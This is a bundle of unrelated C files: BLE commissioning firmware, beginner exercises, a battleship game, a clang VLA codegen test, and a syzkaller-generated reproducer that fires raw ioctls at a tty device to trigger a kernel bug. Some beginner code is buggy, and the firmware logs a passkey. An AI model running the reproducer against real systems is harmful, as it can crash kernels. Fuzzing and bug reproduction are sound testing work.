if (m_node_settings.keys_store.keys_len < BLE_GAP_PASSKEY_LEN)
{
memset(&m_node_settings.keys_store.keys[m_node_settings.keys_store.keys_len], \
'0', BLE_GAP_PASSKEY_LEN - m_node_settings.keys_store.keys_len);
}
// Short passkey to 6-length character.
m_node_settings.keys_store.keys[BLE_GAP_PASSKEY_LEN] = 0;
COMM_TRC("Stored passkey is: %s", m_node_settings.keys_store.keys);
err_code = sd_ble_gap_auth_key_reply(m_conn_handle, \
BLE_GAP_AUTH_KEY_TYPE_PASSKEY, \
m_node_settings.keys_store.keys);
APP_ERROR_CHECK(err_code);
}
break;
}
case BLE_GAP_EVT_AUTH_STATUS:
{
if (m_current_mode == NODE_MODE_JOINING)
{
COMM_TRC("Status of authentication: %08x", \
p_ble_evt->evt.gap_evt.params.auth_status.auth_status);
}
break;
}
case BLE_GAP_EVT_SEC_PARAMS_REQUEST:
{
if (m_current_mode == NODE_MODE_JOINING)
{
ble_gap_sec_params_t sec_param;
ble_gap_sec_keyset_t keys_exchanged;
memset(&sec_param, 0, sizeof(ble_gap_sec_params_t));
memset(&keys_exchanged, 0, sizeof(ble_gap_sec_keyset_t));
sec_param.bond = SEC_PARAM_BOND;
sec_param.oob = SEC_PARAM_OOB;
sec_param.min_key_size = SEC_PARAM_MIN_KEY_SIZE;
sec_param.max_key_size = SEC_PARAM_MAX_KEY_SIZE;
sec_param.mitm = SEC_PARAM_MITM;
sec_param.io_caps = SEC_PARAM_IO_CAPABILITIES;
err_code = sd_ble_gap_sec_params_reply(p_ble_evt->evt.gap_evt.conn_handle,
BLE_GAP_SEC_STATUS_SUCCESS,
&sec_param,
&keys_exchanged);
APP_ERROR_CHECK(err_code);
}
break;
}
default:
{
break;
}
}
}
void on_ble_ncfgs_evt(ble_ncfgs_data_t * ncfgs_data)
{
COMM_ENTRY();
commissioning_timer_stop_reset(TIMER_INDEX_DELAYED_ACTION);
commissioning_timer_stop_reset(TIMER_INDEX_CONFIG_MODE);
uint32_t mode_duration_sec;
mode_duration_sec = ncfgs_data->ctrlp_value.duration_sec;
mode_duration_sec = (mode_duration_sec == 0) ? 1 : mode_duration_sec;
switch (ncfgs_data->ctrlp_value.opcode)
{
case NCFGS_OPCODE_GOTO_JOINING_MODE:
{
m_next_mode = NODE_MODE_JOINING;
m_node_settings.joining_mode_to = mode_duration_sec;
m_node_settings.joining_mode_failure = ncfgs_data->ctrlp_value.state_on_failure;
/* This code will get executed in two scenarios:
- if the previous mode was Config mode and now we are ready to connect to the router, or
- if the previous mode was Joining mode and the state on failure was set to No Change.
*/
if (m_node_settings.joining_mode_failure == NCFGS_SOF_NO_CHANGE)
{
m_node_settings.poweron_mode = NODE_MODE_JOINING;
}
else
{
// If the state on failure is NOT No Change, start next time in Config mode.
m_node_settings.poweron_mode = NODE_MODE_CONFIG;
}
if (m_node_settings.joining_mode_failure == NCFGS_SOF_PWR_OFF)
{
COMM_TRC("Will power off on failure.");
m_power_off_on_failure = true; // The assert handler will power off the system.
}
break;
}
case NCFGS_OPCODE_GOTO_CONFIG_MODE:
{
m_next_mode = NODE_MODE_CONFIG;
m_node_settings.config_mode_to = mode_duration_sec;
m_node_settings.config_mode_failure = ncfgs_data->ctrlp_value.state_on_failure;
/* The node is about to enter Config mode. Regardless of what the state on failure
setting is (No Change or Pwr Off or Cfg Mode), the poweron_mode value should be Cfg Mode. */
m_node_settings.poweron_mode = NODE_MODE_CONFIG;
if (m_node_settings.config_mode_failure == NCFGS_SOF_PWR_OFF)
{
COMM_TRC("Will power off on failure.");
m_power_off_on_failure = true; // The assert handler will power off the system.
}
break;
}
case NCFGS_OPCODE_GOTO_IDENTITY_MODE:
{
m_next_mode = NODE_MODE_IDENTITY;
m_node_settings.id_mode_to = mode_duration_sec;
break;
}
default:
{
break;
}
}
memcpy(&m_node_settings.ssid_store, &ncfgs_data->ssid_from_router, sizeof(ssid_store_t));
memcpy(&m_node_settings.keys_store, &ncfgs_data->keys_from_router, sizeof(keys_store_t));
memcpy(&m_node_settings.id_data_store, &ncfgs_data->id_data, sizeof(id_data_store_t));
#if (COMM_ENABLE_LOGS == 1)
print_node_settings();
#endif // (COMM_ENABLE_LOGS == 1)
#if (FDS_ENABLED == 1)
uint32_t err_code = persistent_settings_update();
APP_ERROR_CHECK(err_code);
#endif // FDS_ENABLED
uint32_t action_delay_written = ncfgs_data->ctrlp_value.delay_sec;
// Set the timeout value to at least MINIMUM_ACTION_DELAY second(s).
// This is to make sure that storing settings in the persistent
// storage completes before activating the next mode.
action_delay_written = (action_delay_written < MINIMUM_ACTION_DELAY) ? \
MINIMUM_ACTION_DELAY : action_delay_written;
COMM_TRC("Action delay: %ld seconds.", action_delay_written);
commissioning_timer_start(TIMER_INDEX_DELAYED_ACTION, action_delay_written);
COMM_EXIT();
}
void commissioning_time_tick(iot_timer_time_in_ms_t wall_clock_value)
{
UNUSED_PARAMETER(wall_clock_value);
uint8_t index;
for (index=0; index<NUMBER_OF_COMMISSIONING_TIMERS; ++index)
{
if (m_commissioning_timers[index].is_timer_running == true)
{
m_commissioning_timers[index].current_value_sec -= COMMISSIONING_TICK_INTERVAL_SEC;
if (m_commissioning_timers[index].current_value_sec == 0)
{
commissioning_timer_stop_reset(index);
m_commissioning_timers[index].timeout_handler();
}
}
}
}
static void commissioning_timers_init(void)
{
memset(m_commissioning_timers, 0x00, sizeof(m_commissioning_timers));
m_commissioning_timers[TIMER_INDEX_DELAYED_ACTION].timeout_handler = \
action_timeout_handler;
m_commissioning_timers[TIMER_INDEX_CONFIG_MODE].timeout_handler = \
config_mode_timeout_handler;
m_commissioning_timers[TIMER_INDEX_JOINING_MODE].timeout_handler = \
joining_mode_timeout_handler;
m_commissioning_timers[TIMER_INDEX_IDENTITY_MODE].timeout_handler = \
identity_mode_timeout_handler;
}
uint32_t commissioning_init(commissioning_init_params_t * p_init_param, \
uint8_t * p_poweron_state)
{
COMM_ENTRY();
uint32_t err_code = NRF_SUCCESS;
m_commissioning_evt_handler = p_init_param->commissioning_evt_handler;
m_power_off_on_failure = false;
// Initialize Commissioning timers.
commissioning_timers_init();
// Initialize GATT server.
err_code = ble_ncfgs_init(on_ble_ncfgs_evt);
if (err_code != NRF_SUCCESS)
{
return err_code;
}
#if (FDS_ENABLED == 1)
err_code = persistent_settings_init();
if (err_code != NRF_SUCCESS)
{
return err_code;
}
#endif
// Read application settings from persistent storage.
read_node_settings();
#if (COMM_ENABLE_LOGS == 1)
print_node_settings();
#endif // (COMM_ENABLE_LOGS == 1)
if (!settings_are_valid()) // If the settings are invalid for any reason go to Config mode.
{
COMM_ERR("Invalid settings!");
commissioning_settings_clear();
memset(&m_node_settings, 0x00, sizeof(m_node_settings));
m_node_settings.config_mode_to = 300;
*p_poweron_state = NODE_MODE_CONFIG;
}
else
{
if (m_node_settings.poweron_mode == NODE_MODE_JOINING)
{
/* This code will get executed in two scenarios:
- if the previous mode was Config mode and now we are ready to connect to the router, or
- if the previous mode was Joining mode and the state on failure was set to No Change.
*/
if ((m_node_settings.joining_mode_failure == NCFGS_SOF_PWR_OFF) || \
(m_node_settings.joining_mode_failure == NCFGS_SOF_CONFIG_MODE))
{
// If the state on failure is NOT No Change, start next time in Config mode.
m_node_settings.poweron_mode = NODE_MODE_CONFIG;
#if (FDS_ENABLED == 1)
err_code = persistent_settings_update();
APP_ERROR_CHECK(err_code);
#endif // FDS_ENABLED
}
if (m_node_settings.joining_mode_failure == NCFGS_SOF_PWR_OFF)
{
COMM_TRC("Will power off on failure.");
m_power_off_on_failure = true; // The assert handler will power off the system.
}
*p_poweron_state = NODE_MODE_JOINING;
}
else
{
/* The app is about to enter Config mode. Regardless of what the state on failure
setting is (No Change or Pwr Off or Cfg Mode), the poweron_mode value should remain the same. */
if (m_node_settings.config_mode_failure == NCFGS_SOF_PWR_OFF)
{
COMM_TRC("Will power off on failure.");
m_power_off_on_failure = true; // The assert handler will power off the system.
}
*p_poweron_state = NODE_MODE_CONFIG;
}
}
// Set advertising and GAP parameters.
config_mode_gap_params_set();
config_mode_adv_params_set();
joining_mode_gap_params_set();
joining_mode_adv_params_set();
COMM_EXIT();
return err_code;
}
#endif // COMMISSIONING_ENABLED
|
the_stack_data/92329210.c | #include <stdio.h>
int main(void)
{
int n;
scanf("%d", &n);
int i, arr[100000];
for(i=0;i<n;i++)
scanf("%d", &arr[i]);
int stack[100000] = {1,};
char pm[200001] = {'+',};
int stp = 1, arrp = 0, pmp = 1;
i = 2;
while(1)
{
if(i <= arr[arrp])
{
stack[stp++] = i;
pm[pmp++] = '+';
i++;
}
else
{
while(arr[arrp] < i)
{
if(arrp == n) break;
if(stack[--stp] == arr[arrp++])
pm[pmp++] = '-';
else
{
printf("NO\n");
return 0;
}
}
if(i == n+1) break;
}
}
for(i=0;i<pmp;i++)
printf("%c\n", pm[i]);
return 0;
}
|
the_stack_data/143830.c | #include<stdio.h>
void main(){
printf("/nHello World\n");
}
|
the_stack_data/98576544.c | /*
* 字符串大小写转换,数字不变
*/
#include <stdio.h>
int main(void){
char str[128];
int i=0;
printf("input a string: ");scanf("%s", str);
while (str[i]){
if (str[i]>='a' && str[i]<='z'){
putchar(str[i]-'a'+'A');
}
else if (str[i]>='A' && str[i]<='Z'){
putchar(str[i]-'A'+'a');
}
else {
putchar(str[i]);
}
i++;
}
putchar('\n');
return 0;
}
|
the_stack_data/200143061.c | #include<stdio.h>
int main(void)
{
printf("%d",'0');
return 0;
}
|
the_stack_data/132954407.c | #include <stdio.h>
void app_main(void)
{
printf("Check the diagram for decisio taks \n");
}
|
the_stack_data/72803.c | #include <stdio.h>
void main () {
int c = 5;
int d = 7;
int e = 10;
int i = 0;
char string [ 10 ] = "string";
int *p;
int *p2;
p = &c;
printf ( "\naddress of pointer p = %p;\n", p );
printf ( "same pointer p = &c = %d;\n", *p);
p = &d;
printf ( "\nand now p = &d = %d;\n", *p );
p = &e;
printf ( "\nand now p = &e = %d;\n", *p );
for ( i = 0; i < 6; i++ ) {
p = string [ i ];
printf ( "p = string [ i = %d ] = %c;\n", i, string [ i ] );
}
p = &c;
(*p)++;
printf ( "p++ = %d;\n", *p );
++*p;
printf ( "++*p = %d;\n", *p );
p2 = p;
printf ( "p2 = %d;\n", *p2 );
}
|
the_stack_data/113478.c | #include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>
int main(void) {
srand(time(NULL));
int tam = 11;
int campoGeral[tam][tam];
int campoJogador1[tam][tam];
int campoJogador2[tam][tam];
// 0 - Nada
// 1 - Navio só JOGADOR 1
// 2 - Navio 2 horizontal JOGADOR 1
// 3 - Navio 2 diagonal pra cima/direita JOGADOR 1
// 4 - Navio 2 diagonal pra cima/esquerda JOGADOR 1
// 5 - Navio só JOGADOR 2
// 6 - Navio 2 horizontal JOGADOR 2
// 7 - Navio 2 diagonal pra cima/direita JOGADOR 2
// 8 - Navio 2 diagonal pra cima/esquerda JOGADOR 2
// 9 - Navio inimigo acertado
// 10 - Tiro na água
char stringParaPrint[] = " ++++****XO";
// Preencher todo o campo com 0
for (int i = 0; i < tam; i++) {
for (int j = 0; j < tam; j++) {
campoGeral[i][j] = 0;
campoJogador1[i][j] = 0;
campoJogador2[i][j] = 0;
}
}
// JOGADOR 1
// Colocar embarcação de tamanho 1 do jogador 1
int x, y;
int ehVazio = 0;
do {
x = rand() % tam;
y = rand() % tam;
if (campoGeral[y][x] == 0) {
ehVazio = 1;
}
} while (!ehVazio);
campoGeral[y][x] = 1;
// Colocar embarcação de tamanho 2 do jogador 1
ehVazio = 0;
do {
x = rand() % tam;
y = rand() % tam;
if (x != tam - 1) {
if (campoGeral[y][x] == 0 && campoGeral[y][x + 1] == 0) {
ehVazio = 1;
}
}
} while (!ehVazio);
campoGeral[y][x] = 2;
campoGeral[y][x + 1] = 2;
// Colocar embarcação de tamanho 2 para cima/direita do jogador 1
ehVazio = 0;
do {
x = rand() % tam;
y = rand() % tam;
if (y != 0 && x != tam - 1) {
if (campoGeral[y][x] == 0 && campoGeral[y - 1][x + 1] == 0) {
ehVazio = 1;
}
}
} while (!ehVazio);
campoGeral[y][x] = 3;
campoGeral[y - 1][x + 1] = 3;
// Colocar embarcação de tamanho 2 para cima/esquerda do jogador 1
ehVazio = 0;
do {
x = rand() % tam;
y = rand() % tam;
if (y != 0 && x != 0) {
if (campoGeral[y][x] == 0 && campoGeral[y - 1][x - 1] == 0) {
ehVazio = 1;
}
}
} while (!ehVazio);
campoGeral[y][x] = 4;
campoGeral[y - 1][x - 1] = 4;
// JOGADOR 2
// Colocar embarcação de tamanho 1 do jogador 2
ehVazio = 0;
do {
x = rand() % tam;
y = rand() % tam;
if (campoGeral[y][x] == 0) {
ehVazio = 1;
}
} while (!ehVazio);
campoGeral[y][x] = 5;
// Colocar embarcação de tamanho 2 do jogador 2
ehVazio = 0;
do {
x = rand() % tam;
y = rand() % tam;
if (x != tam - 1) {
if (campoGeral[y][x] == 0 && campoGeral[y][x + 1] == 0) {
ehVazio = 1;
}
}
} while (!ehVazio);
campoGeral[y][x] = 6;
campoGeral[y][x + 1] = 6;
// Colocar embarcação de tamanho 2 para cima/direita do jogador 2
ehVazio = 0;
do {
x = rand() % tam;
y = rand() % tam;
if (y != 0 && x != tam - 1) {
if (campoGeral[y][x] == 0 && campoGeral[y - 1][x + 1] == 0) {
ehVazio = 1;
}
}
} while (!ehVazio);
campoGeral[y][x] = 7;
campoGeral[y - 1][x + 1] = 7;
// Colocar embarcação de tamanho 2 para cima/esquerda do jogador 2
ehVazio = 0;
do {
x = rand() % tam;
y = rand() % tam;
if (y != 0 && x != 0) {
if (campoGeral[y][x] == 0 && campoGeral[y - 1][x - 1] == 0) {
ehVazio = 1;
}
}
} while (!ehVazio);
campoGeral[y][x] = 8;
campoGeral[y - 1][x - 1] = 8;
// Numero de embarcações do jogador 1
int embarcacoesJogador1 = 4;
// Numero de embarcações do jogador 2
int embarcacoesJogador2 = 4;
// Jogador 1 ganhou?
int jogador1Ganhou = 0;
// Jogador 2 ganhou?
int jogador2Ganhou = 0;
// Qual o jogador da vez
int vez = 1;
while (!jogador1Ganhou && !jogador2Ganhou) {
if (embarcacoesJogador2 == 0) {
jogador1Ganhou = 1;
break;
} else if (embarcacoesJogador1 == 0) {
jogador2Ganhou = 1;
break;
}
// Atualiza as matrizes dos jogadores
for (int i = 0; i < tam; i++) {
for (int j = 0; j < tam; j++) {
switch (campoGeral[i][j]) {
case 1:
campoJogador1[i][j] = 1;
break;
case 2:
campoJogador1[i][j] = 2;
break;
case 3:
campoJogador1[i][j] = 3;
break;
case 4:
campoJogador1[i][j] = 4;
break;
case 5:
campoJogador2[i][j] = 5;
break;
case 6:
campoJogador2[i][j] = 6;
break;
case 7:
campoJogador2[i][j] = 7;
break;
case 8:
campoJogador2[i][j] = 8;
break;
case 9:
campoJogador1[i][j] = 9;
campoJogador2[i][j] = 9;
break;
}
}
}
system("cls");
printf("Vez do jogador %i\n\n", vez);
// Letra
char letra;
// Numero
int numero;
// Tiro
int bombardeio;
if (vez == 1) {
// Imprime o mapa do jogador 1
printf(" 0 1 2 3 4 5 6 7 8 9 10\n");
for (int i = 0; i < tam; i++) {
printf("%c ", i + 65);
for (int j = 0; j < tam; j++) {
printf("|%c|", stringParaPrint[campoJogador1[i][j]]);
}
printf("\n");
}
do {
// Pedir a coordenada do bombardeio
printf("\nDigite a coordenada do bombardeio: ");
scanf("%c%i", &letra, &numero);
getchar();
letra = toupper(letra);
letra -= 65;
if (letra < 0 || letra > tam - 1 || numero < 0 || numero > tam - 1 || campoGeral[letra][numero] == 9 || campoJogador2[letra][numero] == 10) {
printf("\nBombardeio Invalido! Digite uma coordenada valida!\n");
}
} while (letra < 0 || letra > tam - 1 || numero < 0 || numero > tam - 1 || campoGeral[letra][numero] == 9 || campoJogador1[letra][numero] == 10);
bombardeio = campoGeral[letra][numero];
// Bombardeio na agua
if (bombardeio == 0) {
campoJogador1[letra][numero] = 10;
printf("\nVoce acertou a agua!\n\n");
sleep(2);
}
// Bombardeio na propria embarcação
if (bombardeio == 1 || bombardeio == 2 || bombardeio == 3 || bombardeio == 4) {
printf("\nOOPS! Voce acertou a sua propria embarcacao!\n\n");
embarcacoesJogador1--;
sleep(2);
// Bombardeio na embarcação inimiga
} else if (bombardeio == 5 || bombardeio == 6 || bombardeio == 7 || bombardeio == 8) {
printf("\nBOOM! Voce acertou uma embarcacao do inimigo!\n\n");
embarcacoesJogador2--;
sleep(2);
}
// Passa a vez para o jogador 2
vez = 2;
} else if (vez == 2) {
// Imprime o mapa do jogador 2
printf(" 0 1 2 3 4 5 6 7 8 9 10\n");
for (int i = 0; i < tam; i++) {
printf("%c ", i + 65);
for (int j = 0; j < tam; j++) {
printf("|%c|", stringParaPrint[campoJogador2[i][j]]);
}
printf("\n");
}
do {
// Pedir a coordenada do bombardeio
printf("\nDigite a coordenada do bombardeio: ");
scanf("%c%i", &letra, &numero);
getchar();
letra = toupper(letra);
letra -= 65;
if (letra < 0 || letra > tam - 1 || numero < 0 || numero > tam - 1 || campoGeral[letra][numero] == 9 || campoJogador2[letra][numero] == 10) {
printf("\nBombardeio Invalido! Digite uma coordenada valida!\n");
}
} while (letra < 0 || letra > tam - 1 || numero < 0 || numero > tam - 1 || campoGeral[letra][numero] == 9 || campoJogador2[letra][numero] == 10);
bombardeio = campoGeral[letra][numero];
// Bombardeio na agua
if (bombardeio == 0) {
campoJogador2[letra][numero] = 10;
printf("\nVoce acertou a agua!\n\n");
sleep(2);
}
// Bombardeio na propria embarcação
if (bombardeio == 5 || bombardeio == 6 || bombardeio == 7 || bombardeio == 8) {
printf("\nOOPS! Voce acertou a sua propria embarcacao!\n\n");
embarcacoesJogador2--;
sleep(2);
// Bombardeio na embarcação inimiga
} else if (bombardeio == 1 || bombardeio == 2 || bombardeio == 3 || bombardeio == 4) {
printf("\nBOOM! Voce acertou uma embarcacao do inimigo!\n\n");
embarcacoesJogador1--;
sleep(2);
}
// Passa a vez para o jogador 1
vez = 1;
}
// Se o bombardeio acertar uma embarcação, transformar em uma embarcação destruída
switch (bombardeio) {
case 1:
campoGeral[letra][numero] = 0;
break;
case 2:
for (int i = 0; i < tam; i++) {
for (int j = 0; j < tam; j++) {
if (campoGeral[i][j] == 2) {
campoGeral[i][j] = 9;
}
}
}
break;
case 3:
for (int i = 0; i < tam; i++) {
for (int j = 0; j < tam; j++) {
if (campoGeral[i][j] == 3) {
campoGeral[i][j] = 9;
}
}
}
break;
case 4:
for (int i = 0; i < tam; i++) {
for (int j = 0; j < tam; j++) {
if (campoGeral[i][j] == 4) {
campoGeral[i][j] = 9;
}
}
}
break;
case 5:
for (int i = 0; i < tam; i++) {
for (int j = 0; j < tam; j++) {
if (campoGeral[i][j] == 5) {
campoGeral[i][j] = 9;
}
}
}
break;
case 6:
for (int i = 0; i < tam; i++) {
for (int j = 0; j < tam; j++) {
if (campoGeral[i][j] == 6) {
campoGeral[i][j] = 9;
}
}
}
break;
case 7:
for (int i = 0; i < tam; i++) {
for (int j = 0; j < tam; j++) {
if (campoGeral[i][j] == 7) {
campoGeral[i][j] = 9;
}
}
}
break;
case 8:
for (int i = 0; i < tam; i++) {
for (int j = 0; j < tam; j++) {
if (campoGeral[i][j] == 8) {
campoGeral[i][j] = 9;
}
}
}
break;
}
}
system("cls");
// Anuncia quem ganhou o jogo
if (jogador1Ganhou) {
if (embarcacoesJogador1 == 1) {
printf("O jogador 1 ganhou com apenas %i embarcacao sobrando!\n\n", embarcacoesJogador1);
} else {
printf("O jogador 1 ganhou com %i embarcacoes sobrando!\n\n", embarcacoesJogador1);
}
} else if (jogador2Ganhou) {
if (embarcacoesJogador2 == 1) {
printf("O jogador 2 ganhou com apenas %i embarcacao sobrando!\n\n", embarcacoesJogador2);
} else {
printf("O jogador 2 ganhou com %i embarcacoes sobrando!\n\n", embarcacoesJogador2);
}
}
// Imprime o mapa final
printf("O mapa final foi:\n\n");
printf(" 0 1 2 3 4 5 6 7 8 9 10\n");
for (int i = 0; i < tam; i++) {
printf("%c ", i + 65);
for (int j = 0; j < tam; j++) {
printf("|%c|", stringParaPrint[campoGeral[i][j]]);
}
printf("\n");
}
return 0;
} |
the_stack_data/26699593.c | // autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <endian.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
static long syz_open_dev(volatile long a0, volatile long a1, volatile long a2)
{
if (a0 == 0xc || a0 == 0xb) {
char buf[128];
sprintf(buf, "/dev/%s/%d:%d", a0 == 0xc ? "char" : "block", (uint8_t)a1,
(uint8_t)a2);
return open(buf, O_RDWR, 0);
} else {
char buf[1024];
char* hash;
strncpy(buf, (char*)a0, sizeof(buf) - 1);
buf[sizeof(buf) - 1] = 0;
while ((hash = strchr(buf, '#'))) {
*hash = '0' + (char)(a1 % 10);
a1 /= 10;
}
return open(buf, a2, 0);
}
}
uint64_t r[3] = {0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff};
int main(void)
{
syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 3ul, 0x32ul, -1, 0);
intptr_t res = 0;
res = syz_open_dev(0xc, 4, 1);
if (res != -1)
r[0] = res;
syscall(__NR_ioctl, r[0], 0x4b3aul, 1ul);
res = syz_open_dev(0xc, 4, 1);
if (res != -1)
r[1] = res;
*(uint16_t*)0x20000240 = 0xfff;
*(uint16_t*)0x20000242 = 9;
*(uint16_t*)0x20000244 = 0x100;
syscall(__NR_ioctl, r[1], 0x5609ul, 0x20000240ul);
res = syz_open_dev(0xc, 4, 1);
if (res != -1)
r[2] = res;
syscall(__NR_ioctl, r[2], 0x4b3aul, 0ul);
return 0;
}
|
the_stack_data/75138506.c | // RUN: %clang_cc1 -triple i386-unknown-unknown %s -emit-llvm -o - | FileCheck %s
int b(char* x);
// Extremely basic VLA test
void a(int x) {
char arry[x];
arry[0] = 10;
b(arry);
}
int c(int n)
{
return sizeof(int[n]);
}
int f0(int x) {
int vla[x];
return vla[x-1];
}
void
f(int count)
{
int a[count];
do { } while (0);
if (a[0] != 3) {
}
}
void g(int count) {
// Make sure we emit sizes correctly in some obscure cases
int (*a[5])[count];
int (*b)[][count];
}
// rdar://8403108
// CHECK-LABEL: define void @f_8403108
void f_8403108(unsigned x) {
// CHECK: call i8* @llvm.stacksave()
char s1[x];
while (1) {
// CHECK: call i8* @llvm.stacksave()
char s2[x];
if (1)
break;
// CHECK: call void @llvm.stackrestore(i8*
}
// CHECK: call void @llvm.stackrestore(i8*
}
// pr7827
void function(short width, int data[][width]) {} // expected-note {{passing argument to parameter 'data' here}}
void test() {
int bork[4][13];
// CHECK: call void @function(i16 signext 1, i32* null)
function(1, 0);
// CHECK: call void @function(i16 signext 1, i32* inttoptr
function(1, 0xbadbeef); // expected-warning {{incompatible integer to pointer conversion passing}}
// CHECK: call void @function(i16 signext 1, i32* {{.*}})
function(1, bork);
}
void function1(short width, int data[][width][width]) {}
void test1() {
int bork[4][13][15];
// CHECK: call void @function1(i16 signext 1, i32* {{.*}})
function1(1, bork);
// CHECK: call void @function(i16 signext 1, i32* {{.*}})
function(1, bork[2]);
}
// rdar://8476159
static int GLOB;
int test2(int n)
{
GLOB = 0;
char b[1][n+3]; /* Variable length array. */
// CHECK: [[tmp_1:%.*]] = load i32, i32* @GLOB, align 4
// CHECK-NEXT: add nsw i32 [[tmp_1]], 1
__typeof__(b[GLOB++]) c;
return GLOB;
}
// http://llvm.org/PR8567
// CHECK-LABEL: define double @test_PR8567
double test_PR8567(int n, double (*p)[n][5]) {
// CHECK: [[NV:%.*]] = alloca i32, align 4
// CHECK-NEXT: [[PV:%.*]] = alloca [5 x double]*, align 4
// CHECK-NEXT: store
// CHECK-NEXT: store
// CHECK-NEXT: [[N:%.*]] = load i32, i32* [[NV]], align 4
// CHECK-NEXT: [[P:%.*]] = load [5 x double]*, [5 x double]** [[PV]], align 4
// CHECK-NEXT: [[T0:%.*]] = mul nsw i32 1, [[N]]
// CHECK-NEXT: [[T1:%.*]] = getelementptr inbounds [5 x double], [5 x double]* [[P]], i32 [[T0]]
// CHECK-NEXT: [[T2:%.*]] = getelementptr inbounds [5 x double], [5 x double]* [[T1]], i32 2
// CHECK-NEXT: [[T3:%.*]] = getelementptr inbounds [5 x double], [5 x double]* [[T2]], i32 0, i32 3
// CHECK-NEXT: [[T4:%.*]] = load double, double* [[T3]]
// CHECK-NEXT: ret double [[T4]]
return p[1][2][3];
}
int test4(unsigned n, char (*p)[n][n+1][6]) {
// CHECK-LABEL: define i32 @test4(
// CHECK: [[N:%.*]] = alloca i32, align 4
// CHECK-NEXT: [[P:%.*]] = alloca [6 x i8]*, align 4
// CHECK-NEXT: [[P2:%.*]] = alloca [6 x i8]*, align 4
// CHECK-NEXT: store i32
// CHECK-NEXT: store [6 x i8]*
// VLA captures.
// CHECK-NEXT: [[DIM0:%.*]] = load i32, i32* [[N]], align 4
// CHECK-NEXT: [[T0:%.*]] = load i32, i32* [[N]], align 4
// CHECK-NEXT: [[DIM1:%.*]] = add i32 [[T0]], 1
// CHECK-NEXT: [[T0:%.*]] = load [6 x i8]*, [6 x i8]** [[P]], align 4
// CHECK-NEXT: [[T1:%.*]] = load i32, i32* [[N]], align 4
// CHECK-NEXT: [[T2:%.*]] = udiv i32 [[T1]], 2
// CHECK-NEXT: [[T3:%.*]] = mul nuw i32 [[DIM0]], [[DIM1]]
// CHECK-NEXT: [[T4:%.*]] = mul nsw i32 [[T2]], [[T3]]
// CHECK-NEXT: [[T5:%.*]] = getelementptr inbounds [6 x i8], [6 x i8]* [[T0]], i32 [[T4]]
// CHECK-NEXT: [[T6:%.*]] = load i32, i32* [[N]], align 4
// CHECK-NEXT: [[T7:%.*]] = udiv i32 [[T6]], 4
// CHECK-NEXT: [[T8:%.*]] = sub i32 0, [[T7]]
// CHECK-NEXT: [[T9:%.*]] = mul nuw i32 [[DIM0]], [[DIM1]]
// CHECK-NEXT: [[T10:%.*]] = mul nsw i32 [[T8]], [[T9]]
// CHECK-NEXT: [[T11:%.*]] = getelementptr inbounds [6 x i8], [6 x i8]* [[T5]], i32 [[T10]]
// CHECK-NEXT: store [6 x i8]* [[T11]], [6 x i8]** [[P2]], align 4
__typeof(p) p2 = (p + n/2) - n/4;
// CHECK-NEXT: [[T0:%.*]] = load [6 x i8]*, [6 x i8]** [[P2]], align 4
// CHECK-NEXT: [[T1:%.*]] = load [6 x i8]*, [6 x i8]** [[P]], align 4
// CHECK-NEXT: [[T2:%.*]] = ptrtoint [6 x i8]* [[T0]] to i32
// CHECK-NEXT: [[T3:%.*]] = ptrtoint [6 x i8]* [[T1]] to i32
// CHECK-NEXT: [[T4:%.*]] = sub i32 [[T2]], [[T3]]
// CHECK-NEXT: [[T5:%.*]] = mul nuw i32 [[DIM0]], [[DIM1]]
// CHECK-NEXT: [[T6:%.*]] = mul nuw i32 6, [[T5]]
// CHECK-NEXT: [[T7:%.*]] = sdiv exact i32 [[T4]], [[T6]]
// CHECK-NEXT: ret i32 [[T7]]
return p2 - p;
}
// rdar://11485774
void test5(void)
{
// CHECK-LABEL: define void @test5(
int a[5], i = 0;
// CHECK: [[A:%.*]] = alloca [5 x i32], align 4
// CHECK-NEXT: [[I:%.*]] = alloca i32, align 4
// CHECK-NEXT: [[CL:%.*]] = alloca i32*, align 4
// CHECK-NEXT: store i32 0, i32* [[I]], align 4
(typeof(++i, (int (*)[i])a)){&a} += 0;
// CHECK-NEXT: [[Z:%.*]] = load i32, i32* [[I]], align 4
// CHECK-NEXT: [[INC:%.*]] = add nsw i32 [[Z]], 1
// CHECK-NEXT: store i32 [[INC]], i32* [[I]], align 4
// CHECK-NEXT: [[O:%.*]] = load i32, i32* [[I]], align 4
// CHECK-NEXT: [[AR:%.*]] = getelementptr inbounds [5 x i32], [5 x i32]* [[A]], i32 0, i32 0
// CHECK-NEXT: [[T:%.*]] = bitcast [5 x i32]* [[A]] to i32*
// CHECK-NEXT: store i32* [[T]], i32** [[CL]]
// CHECK-NEXT: [[TH:%.*]] = load i32*, i32** [[CL]]
// CHECK-NEXT: [[VLAIX:%.*]] = mul nsw i32 0, [[O]]
// CHECK-NEXT: [[ADDPTR:%.*]] = getelementptr inbounds i32, i32* [[TH]], i32 [[VLAIX]]
// CHECK-NEXT: store i32* [[ADDPTR]], i32** [[CL]]
}
void test6(void)
{
// CHECK-LABEL: define void @test6(
int n = 20, **a, i=0;
// CHECK: [[N:%.*]] = alloca i32, align 4
// CHECK-NEXT: [[A:%.*]] = alloca i32**, align 4
// CHECK-NEXT: [[I:%.*]] = alloca i32, align 4
(int (**)[i]){&a}[0][1][5] = 0;
// CHECK-NEXT: [[CL:%.*]] = alloca i32**, align 4
// CHECK-NEXT: store i32 20, i32* [[N]], align 4
// CHECK-NEXT: store i32 0, i32* [[I]], align 4
// CHECK-NEXT: [[Z:%.*]] = load i32, i32* [[I]], align 4
// CHECK-NEXT: [[O:%.*]] = bitcast i32*** [[A]] to i32**
// CHECK-NEXT: store i32** [[O]], i32*** [[CL]]
// CHECK-NEXT: [[T:%.*]] = load i32**, i32*** [[CL]]
// CHECK-NEXT: [[IX:%.*]] = getelementptr inbounds i32*, i32** [[T]], i32 0
// CHECK-NEXT: [[TH:%.*]] = load i32*, i32** [[IX]], align 4
// CHECK-NEXT: [[F:%.*]] = mul nsw i32 1, [[Z]]
// CHECK-NEXT: [[IX1:%.*]] = getelementptr inbounds i32, i32* [[TH]], i32 [[F]]
// CHECK-NEXT: [[IX2:%.*]] = getelementptr inbounds i32, i32* [[IX1]], i32 5
